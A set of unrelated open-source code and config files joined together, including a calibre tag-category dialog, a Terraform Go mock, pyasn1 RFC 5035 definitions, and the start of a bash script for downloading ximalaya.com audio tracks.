QIcon(I('publisher.png')), QIcon(I('tags.png')), QIcon(I('languages.png'))] self.category_values = [None, lambda: [t.original_name.replace('|', ',') for t in self.db_categories['authors']], lambda: [t.original_name for t in self.db_categories['series']], lambda: [t.original_name for t in self.db_categories['publisher']], lambda: [t.original_name for t in self.db_categories['tags']], lambda: [t.original_name for t in self.db_categories['languages']] ] category_names = ['', _('Authors'), ngettext('Series', 'Series', 2), _('Publishers'), _('Tags'), _('Languages')] for key,cc in iteritems(self.db.custom_field_metadata()): if cc['datatype'] in ['text', 'series', 'enumeration']: self.category_labels.append(key) self.category_icons.append(cc_icon) self.category_values.append(lambda col=key: [t.original_name for t in self.db_categories[col]]) category_names.append(cc['name']) elif cc['datatype'] == 'composite' and \ cc['display'].get('make_category', False): self.category_labels.append(key) self.category_icons.append(cc_icon) category_names.append(cc['name']) self.category_values.append(lambda col=key: [t.original_name for t in self.db_categories[col]]) self.categories = dict.copy(db.new_api.pref('user_categories', {})) if self.categories is None: self.categories = {} self.initialize_category_lists(book_ids=None) self.display_filtered_categories(0) for v in category_names: self.category_filter_box.addItem(v) self.current_cat_name = None self.apply_button.clicked.connect(self.apply_button_clicked) self.unapply_button.clicked.connect(self.unapply_button_clicked) self.add_category_button.clicked.connect(self.add_category) self.rename_category_button.clicked.connect(self.rename_category) self.category_box.currentIndexChanged[int].connect(self.select_category) self.category_filter_box.currentIndexChanged[int].connect( self.display_filtered_categories) self.item_filter_box.textEdited.connect(self.display_filtered_items) self.delete_category_button.clicked.connect(self.del_category) if islinux: self.available_items_box.itemDoubleClicked.connect(self.apply_tags) else: self.available_items_box.itemActivated.connect(self.apply_tags) self.applied_items_box.itemActivated.connect(self.unapply_tags) self.apply_vl_checkbox.clicked.connect(self.apply_vl) self.populate_category_list() if on_category is not None: l = self.category_box.findText(on_category) if l >= 0: self.category_box.setCurrentIndex(l) if self.current_cat_name is None: self.category_box.setCurrentIndex(0) self.select_category(0) def initialize_category_lists(self, book_ids): self.db_categories = self.db.new_api.get_categories(book_ids=book_ids) self.all_items = [] self.all_items_dict = {} for idx,label in enumerate(self.category_labels): if idx == 0: continue for n in self.category_values[idx](): t = Item(name=n, label=label, index=len(self.all_items), icon=self.category_icons[idx], exists=True) self.all_items.append(t) self.all_items_dict[icu_lower(label+':'+n)] = t for cat in self.categories: for item,l in enumerate(self.categories[cat]): key = icu_lower(':'.join([l[1], l[0]])) t = self.all_items_dict.get(key, None) if l[1] in self.category_labels: if t is None: t = Item(name=l[0], label=l[1], index=len(self.all_items), icon=self.category_icons[self.category_labels.index(l[1])], exists=False) self.all_items.append(t) self.all_items_dict[key] = t l[2] = t.index else: # remove any references to a category that no longer exists del self.categories[cat][item] self.all_items_sorted = sorted(self.all_items, key=lambda x: sort_key(x.name)) def apply_vl(self, checked): if checked: self.initialize_category_lists(self.book_ids) else: self.initialize_category_lists(None) self.fill_applied_items() def make_list_widget(self, item): n = item.name if item.exists else item.name + _(' (not on any book)') w = QListWidgetItem(item.icon, n) w.setData(Qt.UserRole, item.index) w.setToolTip(_('Category lookup name: ') + item.label) return w def display_filtered_items(self, text): self.display_filtered_categories(None) def display_filtered_categories(self, idx): idx = idx if idx is not None else self.category_filter_box.currentIndex() self.available_items_box.clear() self.applied_items_box.clear() item_filter = self.item_filter_box.text() for item in self.all_items_sorted: if idx == 0 or item.label == self.category_labels[idx]: if item.index not in self.applied_items and item.exists: if primary_contains(item_filter, item.name): self.available_items_box.addItem(self.make_list_widget(item)) for index in self.applied_items: self.applied_items_box.addItem(self.make_list_widget(self.all_items[index])) def apply_button_clicked(self): self.apply_tags(node=None) def apply_tags(self, node=None): if self.current_cat_name is None: return nodes = self.available_items_box.selectedItems() if node is None else [node] for node in nodes: index = self.all_items[node.data(Qt.UserRole)].index if index not in self.applied_items: self.applied_items.append(index) self.applied_items.sort(key=lambda x:sort_key(self.all_items[x].name)) self.display_filtered_categories(None) def unapply_button_clicked(self): self.unapply_tags(node=None) def unapply_tags(self, node=None): nodes = self.applied_items_box.selectedItems() if node is None else [node] for node in nodes: index = self.all_items[node.data(Qt.UserRole)].index self.applied_items.remove(index) self.display_filtered_categories(None) def add_category(self): self.save_category() cat_name = unicode_type(self.input_box.text()).strip() if cat_name == '': return False comps = [c.strip() for c in cat_name.split('.') if c.strip()] if len(comps) == 0 or '.'.join(comps) != cat_name: error_dialog(self, _('Invalid name'), _('That name contains leading or trailing periods, ' 'multiple periods in a row or spaces before ' 'or after periods.')).exec_() return False for c in sorted(self.categories.keys(), key=sort_key): if strcmp(c, cat_name) == 0 or \ (icu_lower(cat_name).startswith(icu_lower(c) + '.') and not cat_name.startswith(c + '.')): error_dialog(self, _('Name already used'), _('That name is already used, perhaps with different case.')).exec_() return False if cat_name not in self.categories: self.category_box.clear() self.current_cat_name = cat_name self.categories[cat_name] = [] self.applied_items = [] self.populate_category_list() self.input_box.clear() self.category_box.setCurrentIndex(self.category_box.findText(cat_name)) return True def rename_category(self): self.save_category() cat_name = unicode_type(self.input_box.text()).strip() if cat_name == '': return False if not self.current_cat_name: return False comps = [c.strip() for c in cat_name.split('.') if c.strip()] if len(comps) == 0 or '.'.join(comps) != cat_name: error_dialog(self, _('Invalid name'), _('That name contains leading or trailing periods, ' 'multiple periods in a row or spaces before ' 'or after periods.')).exec_() return False for c in self.categories: if strcmp(c, cat_name) == 0: error_dialog(self, _('Name already used'), _('That name is already used, perhaps with different case.')).exec_() return False # The order below is important because of signals self.categories[cat_name] = self.categories[self.current_cat_name] del self.categories[self.current_cat_name] self.current_cat_name = None self.populate_category_list() self.input_box.clear() self.category_box.setCurrentIndex(self.category_box.findText(cat_name)) return True def del_category(self): if self.current_cat_name is not None: if not confirm('<p>'+_('The current tag category will be ' '<b>permanently deleted</b>. Are you sure?') + '</p>', 'tag_category_delete', self): return del self.categories[self.current_cat_name] self.current_cat_name = None self.category_box.removeItem(self.category_box.currentIndex()) def select_category(self, idx): self.save_category() s = self.category_box.itemText(idx) if s: self.current_cat_name = unicode_type(s) else: self.current_cat_name = None self.fill_applied_items() def fill_applied_items(self): if self.current_cat_name: self.applied_items = [cat[2] for cat in self.categories.get(self.current_cat_name, [])] else: self.applied_items = [] self.applied_items.sort(key=lambda x:sort_key(self.all_items[x].name)) self.display_filtered_categories(None) def accept(self): self.save_category() for cat in sorted(self.categories.keys(), key=sort_key): components = cat.split('.') for i in range(0,len(components)): c = '.'.join(components[0:i+1]) if c not in self.categories: self.categories[c] = [] QDialog.accept(self) def save_category(self): if self.current_cat_name is not None: l = [] for index in self.applied_items: item = self.all_items[index] l.append([item.name, item.label, item.index]) self.categories[self.current_cat_name] = l def populate_category_list(self): self.category_box.blockSignals(True) self.category_box.clear() self.category_box.addItems(sorted(self.categories.keys(), key=sort_key)) self.category_box.blockSignals(False)
{ "pile_set_name": "Github" }
testuser: testpass,fedoraUser fedoraAdmin: fedoraAdmin,fedoraAdmin
{ "pile_set_name": "Github" }
{ "name": "AMP PWA lab", "short_name": "AMP PWA lab", "theme_color": "#00796b", "background_color": "#00796b", "display": "standalone", "start_url": "/index.html", "icons": [ { "src": "icons/icon-72x72.png", "sizes": "72x72", "type": "image/png" }, { "src": "icons/icon-96x96.png", "sizes": "96x96", "type": "image/png" }, { "src": "icons/icon-128x128.png", "sizes": "128x128", "type": "image/png" }, { "src": "icons/icon-144x144.png", "sizes": "144x144", "type": "image/png" }, { "src": "icons/icon-152x152.png", "sizes": "152x152", "type": "image/png" }, { "src": "icons/icon-192x192.png", "sizes": "192x192", "type": "image/png" }, { "src": "icons/icon-384x384.png", "sizes": "384x384", "type": "image/png" }, { "src": "icons/icon-512x512.png", "sizes": "512x512", "type": "image/png" } ] }
{ "pile_set_name": "Github" }
package terraform import ( "github.com/hashicorp/hcl2/hcl" "github.com/hashicorp/hcl2/hcldec" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/hashicorp/terraform/addrs" "github.com/hashicorp/terraform/config" "github.com/hashicorp/terraform/configs/configschema" "github.com/hashicorp/terraform/lang" "github.com/hashicorp/terraform/plans" "github.com/hashicorp/terraform/providers" "github.com/hashicorp/terraform/provisioners" "github.com/hashicorp/terraform/states" "github.com/hashicorp/terraform/tfdiags" ) // MockEvalContext is a mock version of EvalContext that can be used // for tests. type MockEvalContext struct { StoppedCalled bool StoppedValue <-chan struct{} HookCalled bool HookHook Hook HookError error InputCalled bool InputInput UIInput InitProviderCalled bool InitProviderType string InitProviderAddr addrs.ProviderConfig InitProviderProvider providers.Interface InitProviderError error ProviderCalled bool ProviderAddr addrs.AbsProviderConfig ProviderProvider providers.Interface ProviderSchemaCalled bool ProviderSchemaAddr addrs.AbsProviderConfig ProviderSchemaSchema *ProviderSchema CloseProviderCalled bool CloseProviderAddr addrs.ProviderConfig CloseProviderProvider providers.Interface ProviderInputCalled bool ProviderInputAddr addrs.ProviderConfig ProviderInputValues map[string]cty.Value SetProviderInputCalled bool SetProviderInputAddr addrs.ProviderConfig SetProviderInputValues map[string]cty.Value ConfigureProviderCalled bool ConfigureProviderAddr addrs.ProviderConfig ConfigureProviderConfig cty.Value ConfigureProviderDiags tfdiags.Diagnostics InitProvisionerCalled bool InitProvisionerName string InitProvisionerProvisioner provisioners.Interface InitProvisionerError error ProvisionerCalled bool ProvisionerName string ProvisionerProvisioner provisioners.Interface ProvisionerSchemaCalled bool ProvisionerSchemaName string ProvisionerSchemaSchema *configschema.Block CloseProvisionerCalled bool CloseProvisionerName string CloseProvisionerProvisioner provisioners.Interface EvaluateBlockCalled bool EvaluateBlockBody hcl.Body EvaluateBlockSchema *configschema.Block EvaluateBlockSelf addrs.Referenceable EvaluateBlockKeyData InstanceKeyEvalData EvaluateBlockResultFunc func( body hcl.Body, schema *configschema.Block, self addrs.Referenceable, keyData InstanceKeyEvalData, ) (cty.Value, hcl.Body, tfdiags.Diagnostics) // overrides the other values below, if set EvaluateBlockResult cty.Value EvaluateBlockExpandedBody hcl.Body EvaluateBlockDiags tfdiags.Diagnostics EvaluateExprCalled bool EvaluateExprExpr hcl.Expression EvaluateExprWantType cty.Type EvaluateExprSelf addrs.Referenceable EvaluateExprResultFunc func( expr hcl.Expression, wantType cty.Type, self addrs.Referenceable, ) (cty.Value, tfdiags.Diagnostics) // overrides the other values below, if set EvaluateExprResult cty.Value EvaluateExprDiags tfdiags.Diagnostics EvaluationScopeCalled bool EvaluationScopeSelf addrs.Referenceable EvaluationScopeKeyData InstanceKeyEvalData EvaluationScopeScope *lang.Scope InterpolateCalled bool InterpolateConfig *config.RawConfig InterpolateResource *Resource InterpolateConfigResult *ResourceConfig InterpolateError error InterpolateProviderCalled bool InterpolateProviderConfig *config.ProviderConfig InterpolateProviderResource *Resource InterpolateProviderConfigResult *ResourceConfig InterpolateProviderError error PathCalled bool PathPath addrs.ModuleInstance SetModuleCallArgumentsCalled bool SetModuleCallArgumentsModule addrs.ModuleCallInstance SetModuleCallArgumentsValues map[string]cty.Value ChangesCalled bool ChangesChanges *plans.ChangesSync StateCalled bool StateState *states.SyncState } // MockEvalContext implements EvalContext var _ EvalContext = (*MockEvalContext)(nil) func (c *MockEvalContext) Stopped() <-chan struct{} { c.StoppedCalled = true return c.StoppedValue } func (c *MockEvalContext) Hook(fn func(Hook) (HookAction, error)) error { c.HookCalled = true if c.HookHook != nil { if _, err := fn(c.HookHook); err != nil { return err } } return c.HookError } func (c *MockEvalContext) Input() UIInput { c.InputCalled = true return c.InputInput } func (c *MockEvalContext) InitProvider(t string, addr addrs.ProviderConfig) (providers.Interface, error) { c.InitProviderCalled = true c.InitProviderType = t c.InitProviderAddr = addr return c.InitProviderProvider, c.InitProviderError } func (c *MockEvalContext) Provider(addr addrs.AbsProviderConfig) providers.Interface { c.ProviderCalled = true c.ProviderAddr = addr return c.ProviderProvider } func (c *MockEvalContext) ProviderSchema(addr addrs.AbsProviderConfig) *ProviderSchema { c.ProviderSchemaCalled = true c.ProviderSchemaAddr = addr return c.ProviderSchemaSchema } func (c *MockEvalContext) CloseProvider(addr addrs.ProviderConfig) error { c.CloseProviderCalled = true c.CloseProviderAddr = addr return nil } func (c *MockEvalContext) ConfigureProvider(addr addrs.ProviderConfig, cfg cty.Value) tfdiags.Diagnostics { c.ConfigureProviderCalled = true c.ConfigureProviderAddr = addr c.ConfigureProviderConfig = cfg return c.ConfigureProviderDiags } func (c *MockEvalContext) ProviderInput(addr addrs.ProviderConfig) map[string]cty.Value { c.ProviderInputCalled = true c.ProviderInputAddr = addr return c.ProviderInputValues } func (c *MockEvalContext) SetProviderInput(addr addrs.ProviderConfig, vals map[string]cty.Value) { c.SetProviderInputCalled = true c.SetProviderInputAddr = addr c.SetProviderInputValues = vals } func (c *MockEvalContext) InitProvisioner(n string) (provisioners.Interface, error) { c.InitProvisionerCalled = true c.InitProvisionerName = n return c.InitProvisionerProvisioner, c.InitProvisionerError } func (c *MockEvalContext) Provisioner(n string) provisioners.Interface { c.ProvisionerCalled = true c.ProvisionerName = n return c.ProvisionerProvisioner } func (c *MockEvalContext) ProvisionerSchema(n string) *configschema.Block { c.ProvisionerSchemaCalled = true c.ProvisionerSchemaName = n return c.ProvisionerSchemaSchema } func (c *MockEvalContext) CloseProvisioner(n string) error { c.CloseProvisionerCalled = true c.CloseProvisionerName = n return nil } func (c *MockEvalContext) EvaluateBlock(body hcl.Body, schema *configschema.Block, self addrs.Referenceable, keyData InstanceKeyEvalData) (cty.Value, hcl.Body, tfdiags.Diagnostics) { c.EvaluateBlockCalled = true c.EvaluateBlockBody = body c.EvaluateBlockSchema = schema c.EvaluateBlockSelf = self c.EvaluateBlockKeyData = keyData if c.EvaluateBlockResultFunc != nil { return c.EvaluateBlockResultFunc(body, schema, self, keyData) } return c.EvaluateBlockResult, c.EvaluateBlockExpandedBody, c.EvaluateBlockDiags } func (c *MockEvalContext) EvaluateExpr(expr hcl.Expression, wantType cty.Type, self addrs.Referenceable) (cty.Value, tfdiags.Diagnostics) { c.EvaluateExprCalled = true c.EvaluateExprExpr = expr c.EvaluateExprWantType = wantType c.EvaluateExprSelf = self if c.EvaluateExprResultFunc != nil { return c.EvaluateExprResultFunc(expr, wantType, self) } return c.EvaluateExprResult, c.EvaluateExprDiags } // installSimpleEval is a helper to install a simple mock implementation of // both EvaluateBlock and EvaluateExpr into the receiver. // // These default implementations will either evaluate the given input against // the scope in field EvaluationScopeScope or, if it is nil, with no eval // context at all so that only constant values may be used. // // This function overwrites any existing functions installed in fields // EvaluateBlockResultFunc and EvaluateExprResultFunc. func (c *MockEvalContext) installSimpleEval() { c.EvaluateBlockResultFunc = func(body hcl.Body, schema *configschema.Block, self addrs.Referenceable, keyData InstanceKeyEvalData) (cty.Value, hcl.Body, tfdiags.Diagnostics) { if scope := c.EvaluationScopeScope; scope != nil { // Fully-functional codepath. var diags tfdiags.Diagnostics body, diags = scope.ExpandBlock(body, schema) if diags.HasErrors() { return cty.DynamicVal, body, diags } val, evalDiags := c.EvaluationScopeScope.EvalBlock(body, schema) diags = diags.Append(evalDiags) if evalDiags.HasErrors() { return cty.DynamicVal, body, diags } return val, body, diags } // Fallback codepath supporting constant values only. val, hclDiags := hcldec.Decode(body, schema.DecoderSpec(), nil) return val, body, tfdiags.Diagnostics(nil).Append(hclDiags) } c.EvaluateExprResultFunc = func(expr hcl.Expression, wantType cty.Type, self addrs.Referenceable) (cty.Value, tfdiags.Diagnostics) { if scope := c.EvaluationScopeScope; scope != nil { // Fully-functional codepath. return scope.EvalExpr(expr, wantType) } // Fallback codepath supporting constant values only. var diags tfdiags.Diagnostics val, hclDiags := expr.Value(nil) diags = diags.Append(hclDiags) if hclDiags.HasErrors() { return cty.DynamicVal, diags } var err error val, err = convert.Convert(val, wantType) if err != nil { diags = diags.Append(err) return cty.DynamicVal, diags } return val, diags } } func (c *MockEvalContext) EvaluationScope(self addrs.Referenceable, keyData InstanceKeyEvalData) *lang.Scope { c.EvaluationScopeCalled = true c.EvaluationScopeSelf = self c.EvaluationScopeKeyData = keyData return c.EvaluationScopeScope } func (c *MockEvalContext) Interpolate( config *config.RawConfig, resource *Resource) (*ResourceConfig, error) { c.InterpolateCalled = true c.InterpolateConfig = config c.InterpolateResource = resource return c.InterpolateConfigResult, c.InterpolateError } func (c *MockEvalContext) InterpolateProvider( config *config.ProviderConfig, resource *Resource) (*ResourceConfig, error) { c.InterpolateProviderCalled = true c.InterpolateProviderConfig = config c.InterpolateProviderResource = resource return c.InterpolateProviderConfigResult, c.InterpolateError } func (c *MockEvalContext) Path() addrs.ModuleInstance { c.PathCalled = true return c.PathPath } func (c *MockEvalContext) SetModuleCallArguments(n addrs.ModuleCallInstance, values map[string]cty.Value) { c.SetModuleCallArgumentsCalled = true c.SetModuleCallArgumentsModule = n c.SetModuleCallArgumentsValues = values } func (c *MockEvalContext) Changes() *plans.ChangesSync { c.ChangesCalled = true return c.ChangesChanges } func (c *MockEvalContext) State() *states.SyncState { c.StateCalled = true return c.StateState }
{ "pile_set_name": "Github" }
{ "nome": "Castelmezzano", "codice": "076024", "zona": { "codice": "4", "nome": "Sud" }, "regione": { "codice": "17", "nome": "Basilicata" }, "provincia": { "codice": "076", "nome": "Potenza" }, "sigla": "PZ", "codiceCatastale": "C209", "cap": [ "85010" ], "popolazione": 852 }
{ "pile_set_name": "Github" }
using System; namespace Lidgren.Network { internal abstract class NetReceiverChannelBase { internal NetPeer m_peer; internal NetConnection m_connection; public NetReceiverChannelBase(NetConnection connection) { m_connection = connection; m_peer = connection.m_peer; } internal abstract void ReceiveMessage(NetIncomingMessage msg); } }
{ "pile_set_name": "Github" }
var decodeMap = require("../maps/decode.json"); module.exports = decodeCodePoint; // modified version of https://github.com/mathiasbynens/he/blob/master/src/he.js#L94-L119 function decodeCodePoint(codePoint){ if((codePoint >= 0xD800 && codePoint <= 0xDFFF) || codePoint > 0x10FFFF){ return "\uFFFD"; } if(codePoint in decodeMap){ codePoint = decodeMap[codePoint]; } var output = ""; if(codePoint > 0xFFFF){ codePoint -= 0x10000; output += String.fromCharCode(codePoint >>> 10 & 0x3FF | 0xD800); codePoint = 0xDC00 | codePoint & 0x3FF; } output += String.fromCharCode(codePoint); return output; }
{ "pile_set_name": "Github" }
-- re-export all of C module Mod118_B (C(..)) where import Mod118_A hiding (C(m1)) import Mod118_A (C)
{ "pile_set_name": "Github" }
// Copyright 2020-present the Material Components for iOS authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #import <UIKit/UIKit.h> /** Objects conforming to this protocol provide information to layout objects regarding the horizontal positioning of TextControl subviews. */ @protocol MDCTextControlHorizontalPositioning /** The amount of horizontal padding between the leading edge of the view and the subview closest to it. */ @property(nonatomic, assign) CGFloat leadingEdgePadding; /** The amount of horizontal padding between the trailing edge of the view and the subview closest to it. */ @property(nonatomic, assign) CGFloat trailingEdgePadding; /** The amount of horizontal padding between the various subviews. */ @property(nonatomic, assign) CGFloat horizontalInterItemSpacing; @end
{ "pile_set_name": "Github" }
using System.Data.Entity.ModelConfiguration; namespace Nop.Data.Mapping { public abstract class NopEntityTypeConfiguration<T> : EntityTypeConfiguration<T> where T : class { protected NopEntityTypeConfiguration() { PostInitialize(); } /// <summary> /// Developers can override this method in custom partial classes /// in order to add some custom initialization code to constructors /// </summary> protected virtual void PostInitialize() { } } }
{ "pile_set_name": "Github" }
# # This file is part of pyasn1-modules software. # # Created by Russ Housley with assistance from asn1ate v.0.6.0. # Modified by Russ Housley to add a map for use with opentypes. # # Copyright (c) 2019, Vigil Security, LLC # License: http://snmplabs.com/pyasn1/license.html # # Update to Enhanced Security Services for S/MIME # # ASN.1 source from: # https://www.rfc-editor.org/rfc/rfc5035.txt # from pyasn1.codec.der.encoder import encode as der_encode from pyasn1.type import namedtype from pyasn1.type import univ from pyasn1_modules import rfc2634 from pyasn1_modules import rfc4055 from pyasn1_modules import rfc5652 from pyasn1_modules import rfc5280 ContentType = rfc5652.ContentType IssuerAndSerialNumber = rfc5652.IssuerAndSerialNumber SubjectKeyIdentifier = rfc5652.SubjectKeyIdentifier AlgorithmIdentifier = rfc5280.AlgorithmIdentifier PolicyInformation = rfc5280.PolicyInformation GeneralNames = rfc5280.GeneralNames CertificateSerialNumber = rfc5280.CertificateSerialNumber # Signing Certificate Attribute V1 and V2 id_aa_signingCertificate = rfc2634.id_aa_signingCertificate id_aa_signingCertificateV2 = univ.ObjectIdentifier('1.2.840.113549.1.9.16.2.47') Hash = rfc2634.Hash IssuerSerial = rfc2634.IssuerSerial ESSCertID = rfc2634.ESSCertID SigningCertificate = rfc2634.SigningCertificate sha256AlgId = AlgorithmIdentifier() sha256AlgId['algorithm'] = rfc4055.id_sha256 # A non-schema object for sha256AlgId['parameters'] as absent sha256AlgId['parameters'] = der_encode(univ.OctetString('')) class ESSCertIDv2(univ.Sequence): pass ESSCertIDv2.componentType = namedtype.NamedTypes( namedtype.DefaultedNamedType('hashAlgorithm', sha256AlgId), namedtype.NamedType('certHash', Hash()), namedtype.OptionalNamedType('issuerSerial', IssuerSerial()) ) class SigningCertificateV2(univ.Sequence): pass SigningCertificateV2.componentType = namedtype.NamedTypes( namedtype.NamedType('certs', univ.SequenceOf( componentType=ESSCertIDv2())), namedtype.OptionalNamedType('policies', univ.SequenceOf( componentType=PolicyInformation())) ) # Mail List Expansion History Attribute id_aa_mlExpandHistory = rfc2634.id_aa_mlExpandHistory ub_ml_expansion_history = rfc2634.ub_ml_expansion_history EntityIdentifier = rfc2634.EntityIdentifier MLReceiptPolicy = rfc2634.MLReceiptPolicy MLData = rfc2634.MLData MLExpansionHistory = rfc2634.MLExpansionHistory # ESS Security Label Attribute id_aa_securityLabel = rfc2634.id_aa_securityLabel ub_privacy_mark_length = rfc2634.ub_privacy_mark_length ub_security_categories = rfc2634.ub_security_categories ub_integer_options = rfc2634.ub_integer_options ESSPrivacyMark = rfc2634.ESSPrivacyMark SecurityClassification = rfc2634.SecurityClassification SecurityPolicyIdentifier = rfc2634.SecurityPolicyIdentifier SecurityCategory = rfc2634.SecurityCategory SecurityCategories = rfc2634.SecurityCategories ESSSecurityLabel = rfc2634.ESSSecurityLabel # Equivalent Labels Attribute id_aa_equivalentLabels = rfc2634.id_aa_equivalentLabels EquivalentLabels = rfc2634.EquivalentLabels # Content Identifier Attribute id_aa_contentIdentifier = rfc2634.id_aa_contentIdentifier ContentIdentifier = rfc2634.ContentIdentifier # Content Reference Attribute id_aa_contentReference = rfc2634.id_aa_contentReference ContentReference = rfc2634.ContentReference # Message Signature Digest Attribute id_aa_msgSigDigest = rfc2634.id_aa_msgSigDigest MsgSigDigest = rfc2634.MsgSigDigest # Content Hints Attribute id_aa_contentHint = rfc2634.id_aa_contentHint ContentHints = rfc2634.ContentHints # Receipt Request Attribute AllOrFirstTier = rfc2634.AllOrFirstTier ReceiptsFrom = rfc2634.ReceiptsFrom id_aa_receiptRequest = rfc2634.id_aa_receiptRequest ub_receiptsTo = rfc2634.ub_receiptsTo ReceiptRequest = rfc2634.ReceiptRequest # Receipt Content Type ESSVersion = rfc2634.ESSVersion id_ct_receipt = rfc2634.id_ct_receipt Receipt = rfc2634.Receipt ub_receiptsTo = rfc2634.ub_receiptsTo ReceiptRequest = rfc2634.ReceiptRequest # Map of Attribute Type to the Attribute structure is added to the # ones that are in rfc5652.py _cmsAttributesMapUpdate = { id_aa_signingCertificateV2: SigningCertificateV2(), } rfc5652.cmsAttributesMap.update(_cmsAttributesMapUpdate) # Map of Content Type OIDs to Content Types is added to the # ones that are in rfc5652.py _cmsContentTypesMapUpdate = { id_ct_receipt: Receipt(), } rfc5652.cmsContentTypesMap.update(_cmsContentTypesMapUpdate)
{ "pile_set_name": "Github" }
This directory contains a partial implementation of the xlocale APIs for Solaris. Some portions are lifted from FreeBSD libc, and so are covered by a 2-clause BSD license instead of the MIT/UUIC license that the rest of libc++ is distributed under.
{ "pile_set_name": "Github" }
package config // Addresses stores the (string) multiaddr addresses for the node. type Addresses struct { Swarm []string // addresses for the swarm to listen on Announce []string // swarm addresses to announce to the network NoAnnounce []string // swarm addresses not to announce to the network API Strings // address for the local API (RPC) Gateway Strings // address to listen on for IPFS HTTP object gateway }
{ "pile_set_name": "Github" }
To build zlib using the Microsoft Visual C++ environment, use the appropriate project from the projects/ directory.
{ "pile_set_name": "Github" }
/** * Copyright (c) 2016-present, K. * All rights reserved. * * Email:[email protected] * * This source code is licensed under the MIT license. */ #import "KafkaRefreshDefaults.h" #define KafkaColorWithRGBA(r,g,b,a) \ [UIColor colorWithRed:(r)/255. green:(g)/255. blue:(b)/255. alpha:(a)] @implementation KafkaRefreshDefaults + (instancetype)standardRefreshDefaults{ static KafkaRefreshDefaults *defaults = nil; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ defaults = [[KafkaRefreshDefaults alloc] init]; }); return defaults; } - (instancetype)init{ if (self = [super init]) { _headDefaultStyle = KafkaRefreshStyleAnimatableArrow; _footDefaultStyle = KafkaRefreshStyleNative; _themeColor = KafkaColorWithRGBA(28., 164., 252., 1.0); _backgroundColor = [UIColor whiteColor]; _headPullingText = @"继续下拉"; _footPullingText = @"继续上拉"; _readyText = @"松开刷新"; _refreshingText = @"正在加载"; } return self; } @end
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.lucene.search.matchhighlight; import org.apache.lucene.analysis.Analyzer; import org.apache.lucene.analysis.DelegatingAnalyzerWrapper; /** * An analyzer for tests that has a predefined offset and position gap. */ class AnalyzerWithGaps extends DelegatingAnalyzerWrapper { private final Analyzer delegate; private final int offsetGap; private final int positionGap; AnalyzerWithGaps(int offsetGap, int positionGap, Analyzer delegate) { super(delegate.getReuseStrategy()); this.delegate = delegate; this.offsetGap = offsetGap; this.positionGap = positionGap; } @Override protected Analyzer getWrappedAnalyzer(String fieldName) { return delegate; } @Override public int getOffsetGap(String fieldName) { return offsetGap; } @Override public int getPositionIncrementGap(String fieldName) { return positionGap; } }
{ "pile_set_name": "Github" }
#!/bin/bash # # Copyright (C) 2014 Wenva <[email protected]> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is furnished # to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. spushd() { pushd "$1" 2>&1> /dev/null } spopd() { popd 2>&1> /dev/null } info() { local green="\033[1;32m" local normal="\033[0m" echo -e "[${green}INFO${normal}] $1" } cmdcheck() { command -v $1>/dev/null 2>&1 || { error >&2 "Please install command $1 first."; exit 1; } } error() { local red="\033[1;31m" local normal="\033[0m" echo -e "[${red}ERROR${normal}] $1" } curdir() { if [ ${0:0:1} = '/' ] || [ ${0:0:1} = '~' ]; then echo "$(dirname $0)" elif [ -L $0 ];then name=`readlink $0` echo $(dirname $name) else echo "`pwd`/$(dirname $0)" fi } myos() { echo `uname|tr "[:upper:]" "[:lower:]"` } ######################################### ### GROBLE DEFINE ### ######################################### VERSION=1.1.1 AUTHOR=smallmuou ######################################### ### ARG PARSER ### ######################################### usage() { prog=`basename $0` cat << EOF $prog version $VERSION by $AUTHOR USAGE: $prog [OPTIONS] url DESCRIPTION: This tool is used to download tracks under ximalaya.com. The following three type urls are supported. 1. https://www.ximalaya.com/ertong/12891461/ it will download all tracks in album 12891461. 2. https://www.ximalaya.com/ertong/12891461/p2/ it will download the tracks in page 2. 3. https://www.ximalaya.com/ertong/12891461/211393643 it only download one track. OPTIONS: -h Show this help message and exit. -o Assign output directory, if not assign, it will download to current directory. EXAMPLES: $prog https://www.ximalaya.com/ertong/12891461/ $prog https://www.ximalaya.com/ertong/12891461/p2/ $prog https://www.ximalaya.com/ertong/12891461/211393643 $prog -o ~/Downloads https://www.ximalaya.com/ertong/12891461/ EOF exit 1 } # output set current directory dst_dir=. while getopts 'o:h' arg; do case $arg in h) usage ;; o) dst_dir=$OPTARG ;; ?) usage ;; esac done shift $(($OPTIND - 1)) [ ! -d $dst_dir ] && { error "The output directory $dst_dir does not exist."; exit -1; } ######################################### ### MAIN ENTRY ### ######################################### [ $# -ne 1 ] && usage url=$1 # params: jsonobject key decode_json() { statement=`cat << EOF import json,sys reload(sys) sys.setdefaultencoding("utf8") try: 